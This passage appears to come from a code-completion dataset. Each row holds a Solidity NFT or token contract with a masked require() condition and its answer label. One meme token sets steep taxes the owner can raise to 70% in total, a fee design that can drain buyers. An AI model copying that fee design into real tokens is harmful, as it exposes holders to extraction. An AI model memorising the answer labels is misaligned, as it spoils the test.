comment
stringlengths 1
211
โ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"One can only have two eyes. The eye is watching." | /*
.,'
.'`.'
.' .'
_.ood0Pp._ ,' `.~ .q?00doo._
.od00Pd0000Pdb._. . _:db?000b?000bo.
.?000Pd0000PP?000PdbMb?000P??000b?0000b.
.d0000Pd0000P' `?0Pd000b?0' `?000b?0000b.
.d0000Pd0000?' `?d000b?' `?00b?0000b.
d00000Pd0000Pd0000Pd00000b?00000b?0000b?0000b
?00000b?0000b?0000b?b dd00000Pd0000Pd0000P
`?0000b?0000b?0000b?0b dPd00000Pd0000Pd000P'
`?0000b?0000b?0000b?0bd0Pd0000Pd0000Pd000P'
`?000b?00bo. `?P' `?P' .od0Pd000P'
`~?00b?000bo._ .db. _.od000Pd0P~'
`~?0b?0b?000b?0Pd0Pd000PdP~'
*/
pragma solidity >=0.6.0 <0.9.0;
//SPDX-License-Identifier: MIT
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./PaymentSplitter.sol";
contract PumpkinPals is ERC721A, Ownable, ReentrancyGuard, PaymentSplitter {
string public baseURI;
uint public price = 0.005 ether;
uint public maxPerTx = 2;
uint public maxPerWallet = 2;
uint public maxSupply = 333;
bool public mintLive = false;
address[] private _payees = [
0x3183226D0616E15d98C171cc6C9Af22E8cb08Ccf,
0x793c5393c12E7c361375771e12e9FdE5B55Fb25E
];
uint256[] private _shares = [
60,
40
];
constructor()
ERC721A("Pumpkin Pals", "PALS")
PaymentSplitter(_payees, _shares)
{
}
function mint(uint256 amt) external payable
{
require(mintLive, "Minting is not live yet");
require( amt < maxPerTx + 1, "One can only have two eyes");
require(<FILL_ME>)
require(totalSupply() + amt < maxSupply + 1, "Max supply reached");
require(msg.value == (amt * price), "Send more ETH.");
_safeMint(msg.sender, amt);
}
function toggleMinting() external onlyOwner {
}
function teamClaim() external {
}
function numberMinted(address owner) public view returns (uint256) {
}
function setBaseURI(string calldata _uri) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setMaxPerTx(uint256 _maxPerTx) external onlyOwner {
}
function setmaxSupply(uint256 _maxSupply) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() public onlyOwner nonReentrant {
}
}
| _numberMinted(_msgSender())<maxPerWallet,"One can only have two eyes. The eye is watching." | 430,795 | _numberMinted(_msgSender())<maxPerWallet |
"Send more ETH." | /*
.,'
.'`.'
.' .'
_.ood0Pp._ ,' `.~ .q?00doo._
.od00Pd0000Pdb._. . _:db?000b?000bo.
.?000Pd0000PP?000PdbMb?000P??000b?0000b.
.d0000Pd0000P' `?0Pd000b?0' `?000b?0000b.
.d0000Pd0000?' `?d000b?' `?00b?0000b.
d00000Pd0000Pd0000Pd00000b?00000b?0000b?0000b
?00000b?0000b?0000b?b dd00000Pd0000Pd0000P
`?0000b?0000b?0000b?0b dPd00000Pd0000Pd000P'
`?0000b?0000b?0000b?0bd0Pd0000Pd0000Pd000P'
`?000b?00bo. `?P' `?P' .od0Pd000P'
`~?00b?000bo._ .db. _.od000Pd0P~'
`~?0b?0b?000b?0Pd0Pd000PdP~'
*/
pragma solidity >=0.6.0 <0.9.0;
//SPDX-License-Identifier: MIT
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./PaymentSplitter.sol";
contract PumpkinPals is ERC721A, Ownable, ReentrancyGuard, PaymentSplitter {
string public baseURI;
uint public price = 0.005 ether;
uint public maxPerTx = 2;
uint public maxPerWallet = 2;
uint public maxSupply = 333;
bool public mintLive = false;
address[] private _payees = [
0x3183226D0616E15d98C171cc6C9Af22E8cb08Ccf,
0x793c5393c12E7c361375771e12e9FdE5B55Fb25E
];
uint256[] private _shares = [
60,
40
];
constructor()
ERC721A("Pumpkin Pals", "PALS")
PaymentSplitter(_payees, _shares)
{
}
function mint(uint256 amt) external payable
{
require(mintLive, "Minting is not live yet");
require( amt < maxPerTx + 1, "One can only have two eyes");
require(_numberMinted(_msgSender()) < maxPerWallet, "One can only have two eyes. The eye is watching.");
require(totalSupply() + amt < maxSupply + 1, "Max supply reached");
require(<FILL_ME>)
_safeMint(msg.sender, amt);
}
function toggleMinting() external onlyOwner {
}
function teamClaim() external {
}
function numberMinted(address owner) public view returns (uint256) {
}
function setBaseURI(string calldata _uri) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setMaxPerTx(uint256 _maxPerTx) external onlyOwner {
}
function setmaxSupply(uint256 _maxSupply) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() public onlyOwner nonReentrant {
}
}
| msg.value==(amt*price),"Send more ETH." | 430,795 | msg.value==(amt*price) |
"Reached max supply" | // SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./libs/ERC721A.sol";
contract BaseCollection is Ownable, ERC721A, ReentrancyGuard {
using ECDSA for bytes32;
using Strings for uint256;
uint256 devReserve;
address public root;
bool initialized;
uint256 public price;
uint256 public allowMint = 1;
mapping(address=>uint256) public claimed;
address feeCollector;
constructor(
string memory name_,
string memory symbol_,
uint256 collectionSize_
) ERC721A(
name_,
symbol_,
100,
collectionSize_) {}
function initialize(address root_, uint256 reserveAmount, uint256 price_, string calldata unrevealedURI) external onlyOwner{
}
function allowMultipleClaim(uint256 newAmount) external onlyOwner{
}
function mint(bytes memory _signature) external nonReentrant payable{
require(msg.value == price, "Price not correct");
require(<FILL_ME>)
_verifyAndMint(_signature, msg.sender);
}
function mintFor(address account, bytes memory _signature)external nonReentrant payable{
}
function _verifyAndMint(bytes memory _signature, address account) internal{
}
//direct recover to reduce back-end pressure
function isValidSignature(bytes32 hash, bytes memory signature) public view returns (bool isValid) {
}
// batch airdrop optimization
function devMint(address[] calldata _addr, uint256[] calldata amount) external onlyOwner{
}
function withdraw() external {
}
function setFeeCollector(address _newAddr) external onlyOwner{
}
// // metadata URI
string private _baseTokenURI;
string private _unrevealedURI;
bool public isRevealed;
function tokenURI(uint256 tokenId) public view override returns (string memory){
}
function reveal() external onlyOwner {
}
function setUnrevealURI(string calldata unrevealedURI) external onlyOwner {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory){
}
fallback() external payable {}
receive() external payable {}
}
| totalSupply()+devReserve<collectionSize,"Reached max supply" | 430,987 | totalSupply()+devReserve<collectionSize |
"Exceed current WL allowMint." | // SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./libs/ERC721A.sol";
contract BaseCollection is Ownable, ERC721A, ReentrancyGuard {
using ECDSA for bytes32;
using Strings for uint256;
uint256 devReserve;
address public root;
bool initialized;
uint256 public price;
uint256 public allowMint = 1;
mapping(address=>uint256) public claimed;
address feeCollector;
constructor(
string memory name_,
string memory symbol_,
uint256 collectionSize_
) ERC721A(
name_,
symbol_,
100,
collectionSize_) {}
function initialize(address root_, uint256 reserveAmount, uint256 price_, string calldata unrevealedURI) external onlyOwner{
}
function allowMultipleClaim(uint256 newAmount) external onlyOwner{
}
function mint(bytes memory _signature) external nonReentrant payable{
}
function mintFor(address account, bytes memory _signature)external nonReentrant payable{
}
function _verifyAndMint(bytes memory _signature, address account) internal{
bytes32 msgHash = keccak256(abi.encodePacked(account, name()));
require(isValidSignature(msgHash, _signature), "Not authorized to mint");
require(<FILL_ME>)
unchecked{ ++claimed[account]; }
_safeMint(account, 1);
}
//direct recover to reduce back-end pressure
function isValidSignature(bytes32 hash, bytes memory signature) public view returns (bool isValid) {
}
// batch airdrop optimization
function devMint(address[] calldata _addr, uint256[] calldata amount) external onlyOwner{
}
function withdraw() external {
}
function setFeeCollector(address _newAddr) external onlyOwner{
}
// // metadata URI
string private _baseTokenURI;
string private _unrevealedURI;
bool public isRevealed;
function tokenURI(uint256 tokenId) public view override returns (string memory){
}
function reveal() external onlyOwner {
}
function setUnrevealURI(string calldata unrevealedURI) external onlyOwner {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory){
}
fallback() external payable {}
receive() external payable {}
}
| claimed[account]<allowMint,"Exceed current WL allowMint." | 430,987 | claimed[account]<allowMint |
"Reached max supply" | // SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./libs/ERC721A.sol";
contract BaseCollection is Ownable, ERC721A, ReentrancyGuard {
using ECDSA for bytes32;
using Strings for uint256;
uint256 devReserve;
address public root;
bool initialized;
uint256 public price;
uint256 public allowMint = 1;
mapping(address=>uint256) public claimed;
address feeCollector;
constructor(
string memory name_,
string memory symbol_,
uint256 collectionSize_
) ERC721A(
name_,
symbol_,
100,
collectionSize_) {}
function initialize(address root_, uint256 reserveAmount, uint256 price_, string calldata unrevealedURI) external onlyOwner{
}
function allowMultipleClaim(uint256 newAmount) external onlyOwner{
}
function mint(bytes memory _signature) external nonReentrant payable{
}
function mintFor(address account, bytes memory _signature)external nonReentrant payable{
}
function _verifyAndMint(bytes memory _signature, address account) internal{
}
//direct recover to reduce back-end pressure
function isValidSignature(bytes32 hash, bytes memory signature) public view returns (bool isValid) {
}
// batch airdrop optimization
function devMint(address[] calldata _addr, uint256[] calldata amount) external onlyOwner{
uint256 i;
uint256 addrLen = _addr.length;
uint256 batchTotal = 0;
for (i = 0; i < addrLen;){
batchTotal += amount[i];
unchecked{ ++i;}
}
require(batchTotal <= devReserve, "All reserve minted.");
require(<FILL_ME>)
devReserve -= batchTotal;
for (i = 0; i < addrLen;){
if(amount[i] >0) _safeMint(_addr[i], amount[i]);
unchecked{ ++i;}
}
}
function withdraw() external {
}
function setFeeCollector(address _newAddr) external onlyOwner{
}
// // metadata URI
string private _baseTokenURI;
string private _unrevealedURI;
bool public isRevealed;
function tokenURI(uint256 tokenId) public view override returns (string memory){
}
function reveal() external onlyOwner {
}
function setUnrevealURI(string calldata unrevealedURI) external onlyOwner {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory){
}
fallback() external payable {}
receive() external payable {}
}
| totalSupply()+batchTotal<=collectionSize,"Reached max supply" | 430,987 | totalSupply()+batchTotal<=collectionSize |
"Tax too high" | /**
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
I LOVE ๐๐ช๐ฝ๐ฝ ๐๐พ๐ป๐ฒ๐ฎ
This is my own Fan Token
It's mine! It's mine! It's mine!
Website : Fucking don't need
Twitter : shut up
Telegram : Oh! my MATT FURIE, I love you!!!
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public onlyOwner {
}
function _transferOwnership(address newOwner) internal {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ILOVEMATTFURIE is Context, IERC20, Ownable {
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _FreeWallets;
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
uint256 private constant onePercent = (_totalSupply)/100;
uint256 private constant minimumSwapAmount = 40000;
uint256 private maxSwap = onePercent / 2;
uint256 public MaximumOneTrxAmount = onePercent;
uint256 public MxWalletSize = onePercent;
uint256 private InitialBlockNo;
uint256 public buyTax = 25;
uint256 public sellTax = 35;
string private constant _name = "ILOVEMATTFURIE";
string private constant _symbol = "MISERY";
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
address immutable public FeesAddress ;
address immutable public SecFeesWallet;
bool private launch = false;
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)public override returns (bool){
}
function allowance(address owner, address spender) public view override returns (uint256){
}
function approve(address spender, uint256 amount) public override returns (bool){
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function StartTrading() external onlyOwner {
}
function _addExcludedWallet(address wallet) external onlyOwner {
}
function _RemoveExcludedWallet(address wallet) external onlyOwner {
}
function FreeFromLimits() external onlyOwner {
}
function ChangeTaxes(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
require(<FILL_ME>)
buyTax = newBuyTax;
sellTax = newSellTax;
}
function _tokenTransfer(address from, address to, uint256 amount, uint256 _tax) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function manualSendBalance() external onlyOwner {
}
function manualSwapTokens(uint256 percent) external onlyOwner {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
receive() external payable {}
}
| newBuyTax+newSellTax<=70,"Tax too high" | 431,102 | newBuyTax+newSellTax<=70 |
"MaxWallet Enabled at launch" | /**
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
I LOVE ๐๐ช๐ฝ๐ฝ ๐๐พ๐ป๐ฒ๐ฎ
This is my own Fan Token
It's mine! It's mine! It's mine!
Website : Fucking don't need
Twitter : shut up
Telegram : Oh! my MATT FURIE, I love you!!!
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public onlyOwner {
}
function _transferOwnership(address newOwner) internal {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ILOVEMATTFURIE is Context, IERC20, Ownable {
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _FreeWallets;
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
uint256 private constant onePercent = (_totalSupply)/100;
uint256 private constant minimumSwapAmount = 40000;
uint256 private maxSwap = onePercent / 2;
uint256 public MaximumOneTrxAmount = onePercent;
uint256 public MxWalletSize = onePercent;
uint256 private InitialBlockNo;
uint256 public buyTax = 25;
uint256 public sellTax = 35;
string private constant _name = "ILOVEMATTFURIE";
string private constant _symbol = "MISERY";
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
address immutable public FeesAddress ;
address immutable public SecFeesWallet;
bool private launch = false;
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)public override returns (bool){
}
function allowance(address owner, address spender) public view override returns (uint256){
}
function approve(address spender, uint256 amount) public override returns (bool){
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function StartTrading() external onlyOwner {
}
function _addExcludedWallet(address wallet) external onlyOwner {
}
function _RemoveExcludedWallet(address wallet) external onlyOwner {
}
function FreeFromLimits() external onlyOwner {
}
function ChangeTaxes(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
}
function _tokenTransfer(address from, address to, uint256 amount, uint256 _tax) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "ERC20: no tokens transferred");
uint256 _tax = 0;
if (_FreeWallets[from] == 0 && _FreeWallets[to] == 0)
{
require(launch, "Trading not open");
require(amount <= MaximumOneTrxAmount, "MaxTx Enabled at launch");
if (to != uniswapV2Pair && to != address(0xdead)) require(<FILL_ME>)
if (block.number < InitialBlockNo + 2) {
_tax = 60;
} else {
if (from == uniswapV2Pair) {
_tax = buyTax;
} else if (to == uniswapV2Pair) {
uint256 tokensToSwap = balanceOf(address(this));
if (tokensToSwap > minimumSwapAmount) {
uint256 mxSw = maxSwap;
if (tokensToSwap > amount) tokensToSwap = amount;
if (tokensToSwap > mxSw) tokensToSwap = mxSw;
swapTokensForEth(tokensToSwap);
}
_tax = sellTax;
}
}
}
_tokenTransfer(from, to, amount, _tax);
}
function manualSendBalance() external onlyOwner {
}
function manualSwapTokens(uint256 percent) external onlyOwner {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
receive() external payable {}
}
| balanceOf(to)+amount<=MxWalletSize,"MaxWallet Enabled at launch" | 431,102 | balanceOf(to)+amount<=MxWalletSize |
"invalid signature " | pragma solidity ^0.8.0;
contract GameNFTEth is ERC721, ERC721Enumerable, Ownable, AccessControl {
string public PROVENANCE="Ethereum";
address public MASTER;
bytes32 public constant MASTER_ROLE = keccak256('MASTER_ROLE');
bytes32 public constant ADMIN_ROLE = keccak256('ADMIN_ROLE');
bool public saleIsActive = true;
string private _baseURIextended;
// Mapping from token ID to auth id
mapping(uint256 => uint256) public _tokenAuths;
// Mapping from sign to use
mapping(uint256 => bool) authIdUsed;
constructor(string memory _name, string memory _symbol, string memory baseuri, address masterAddress, address[] memory admins) ERC721(_name, _symbol) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable,AccessControl) returns (bool) {
}
function setBaseURI(string memory baseURI_) external onlyRole(ADMIN_ROLE) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setProvenance(string memory provenance) public onlyRole(MASTER_ROLE) {
}
function setSaleState(bool newState) public onlyRole(ADMIN_ROLE) {
}
function mintSerials(uint256 startauthid, uint256 num) public onlyRole(ADMIN_ROLE) {
}
function mint(address to, uint256 authId) internal {
}
function ethBuy(address to, uint256[] memory authIds, uint256 totalprice, uint256 deadline, bytes memory _signature) public payable {
require(saleIsActive, "Sale must be active to mint tokens");
require(msg.value >= totalprice, "Insufficient price");
require(<FILL_ME>)
require(deadline <= 0 || deadline >= block.timestamp, "Signature has expired");
require(totalSupply() + authIds.length <= 500 , "Superior limit");
for(uint i = 0; i < authIds.length; i ++){
require(!authIdUsed[authIds[i]], "Authid used");
}
for(uint i = 0; i < authIds.length; i ++){
mint(to, authIds[i]);
}
}
function withdraw() public onlyRole(ADMIN_ROLE) {
}
function withdrawToken(uint256 _amount, IERC20 token) public onlyRole(ADMIN_ROLE) {
}
function isAdmin(address user) public view returns(bool) {
}
function getAuthId(uint256 tokenId) public view returns(uint256) {
}
function getAuthIds(uint256[] memory tokenIds) public view returns(uint256[] memory) {
}
function authHasUsed(uint256 authid) public view returns(bool){
}
function getAllNfts(address user) public view returns(uint256[] memory) {
}
function getMessageHash(address _to, uint256[] memory authIds, uint256 price,uint256 deadline, bytes memory token) internal pure returns (bytes32) {
}
function verify(address _to, uint256[] memory authIds, uint256 price, uint256 deadline, bytes memory token, bytes memory signature) internal view returns (bool) {
}
function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature)
internal
pure
returns (address)
{
}
function splitSignature(bytes memory sig)
internal
pure
returns (
bytes32 r,
bytes32 s,
uint8 v
)
{
}
function getEthSignedMessageHash(bytes32 _messageHash)
internal view
returns (bytes32)
{
}
}
| verify(to,authIds,totalprice,deadline,abi.encodePacked(address(this)),_signature),"invalid signature " | 431,374 | verify(to,authIds,totalprice,deadline,abi.encodePacked(address(this)),_signature) |
"Superior limit" | pragma solidity ^0.8.0;
contract GameNFTEth is ERC721, ERC721Enumerable, Ownable, AccessControl {
string public PROVENANCE="Ethereum";
address public MASTER;
bytes32 public constant MASTER_ROLE = keccak256('MASTER_ROLE');
bytes32 public constant ADMIN_ROLE = keccak256('ADMIN_ROLE');
bool public saleIsActive = true;
string private _baseURIextended;
// Mapping from token ID to auth id
mapping(uint256 => uint256) public _tokenAuths;
// Mapping from sign to use
mapping(uint256 => bool) authIdUsed;
constructor(string memory _name, string memory _symbol, string memory baseuri, address masterAddress, address[] memory admins) ERC721(_name, _symbol) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable,AccessControl) returns (bool) {
}
function setBaseURI(string memory baseURI_) external onlyRole(ADMIN_ROLE) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setProvenance(string memory provenance) public onlyRole(MASTER_ROLE) {
}
function setSaleState(bool newState) public onlyRole(ADMIN_ROLE) {
}
function mintSerials(uint256 startauthid, uint256 num) public onlyRole(ADMIN_ROLE) {
}
function mint(address to, uint256 authId) internal {
}
function ethBuy(address to, uint256[] memory authIds, uint256 totalprice, uint256 deadline, bytes memory _signature) public payable {
require(saleIsActive, "Sale must be active to mint tokens");
require(msg.value >= totalprice, "Insufficient price");
require(verify(to, authIds, totalprice, deadline, abi.encodePacked(address(this)), _signature), "invalid signature ");
require(deadline <= 0 || deadline >= block.timestamp, "Signature has expired");
require(<FILL_ME>)
for(uint i = 0; i < authIds.length; i ++){
require(!authIdUsed[authIds[i]], "Authid used");
}
for(uint i = 0; i < authIds.length; i ++){
mint(to, authIds[i]);
}
}
function withdraw() public onlyRole(ADMIN_ROLE) {
}
function withdrawToken(uint256 _amount, IERC20 token) public onlyRole(ADMIN_ROLE) {
}
function isAdmin(address user) public view returns(bool) {
}
function getAuthId(uint256 tokenId) public view returns(uint256) {
}
function getAuthIds(uint256[] memory tokenIds) public view returns(uint256[] memory) {
}
function authHasUsed(uint256 authid) public view returns(bool){
}
function getAllNfts(address user) public view returns(uint256[] memory) {
}
function getMessageHash(address _to, uint256[] memory authIds, uint256 price,uint256 deadline, bytes memory token) internal pure returns (bytes32) {
}
function verify(address _to, uint256[] memory authIds, uint256 price, uint256 deadline, bytes memory token, bytes memory signature) internal view returns (bool) {
}
function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature)
internal
pure
returns (address)
{
}
function splitSignature(bytes memory sig)
internal
pure
returns (
bytes32 r,
bytes32 s,
uint8 v
)
{
}
function getEthSignedMessageHash(bytes32 _messageHash)
internal view
returns (bytes32)
{
}
}
| totalSupply()+authIds.length<=500,"Superior limit" | 431,374 | totalSupply()+authIds.length<=500 |
"Authid used" | pragma solidity ^0.8.0;
contract GameNFTEth is ERC721, ERC721Enumerable, Ownable, AccessControl {
string public PROVENANCE="Ethereum";
address public MASTER;
bytes32 public constant MASTER_ROLE = keccak256('MASTER_ROLE');
bytes32 public constant ADMIN_ROLE = keccak256('ADMIN_ROLE');
bool public saleIsActive = true;
string private _baseURIextended;
// Mapping from token ID to auth id
mapping(uint256 => uint256) public _tokenAuths;
// Mapping from sign to use
mapping(uint256 => bool) authIdUsed;
constructor(string memory _name, string memory _symbol, string memory baseuri, address masterAddress, address[] memory admins) ERC721(_name, _symbol) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable,AccessControl) returns (bool) {
}
function setBaseURI(string memory baseURI_) external onlyRole(ADMIN_ROLE) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setProvenance(string memory provenance) public onlyRole(MASTER_ROLE) {
}
function setSaleState(bool newState) public onlyRole(ADMIN_ROLE) {
}
function mintSerials(uint256 startauthid, uint256 num) public onlyRole(ADMIN_ROLE) {
}
function mint(address to, uint256 authId) internal {
}
function ethBuy(address to, uint256[] memory authIds, uint256 totalprice, uint256 deadline, bytes memory _signature) public payable {
require(saleIsActive, "Sale must be active to mint tokens");
require(msg.value >= totalprice, "Insufficient price");
require(verify(to, authIds, totalprice, deadline, abi.encodePacked(address(this)), _signature), "invalid signature ");
require(deadline <= 0 || deadline >= block.timestamp, "Signature has expired");
require(totalSupply() + authIds.length <= 500 , "Superior limit");
for(uint i = 0; i < authIds.length; i ++){
require(<FILL_ME>)
}
for(uint i = 0; i < authIds.length; i ++){
mint(to, authIds[i]);
}
}
function withdraw() public onlyRole(ADMIN_ROLE) {
}
function withdrawToken(uint256 _amount, IERC20 token) public onlyRole(ADMIN_ROLE) {
}
function isAdmin(address user) public view returns(bool) {
}
function getAuthId(uint256 tokenId) public view returns(uint256) {
}
function getAuthIds(uint256[] memory tokenIds) public view returns(uint256[] memory) {
}
function authHasUsed(uint256 authid) public view returns(bool){
}
function getAllNfts(address user) public view returns(uint256[] memory) {
}
function getMessageHash(address _to, uint256[] memory authIds, uint256 price,uint256 deadline, bytes memory token) internal pure returns (bytes32) {
}
function verify(address _to, uint256[] memory authIds, uint256 price, uint256 deadline, bytes memory token, bytes memory signature) internal view returns (bool) {
}
function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature)
internal
pure
returns (address)
{
}
function splitSignature(bytes memory sig)
internal
pure
returns (
bytes32 r,
bytes32 s,
uint8 v
)
{
}
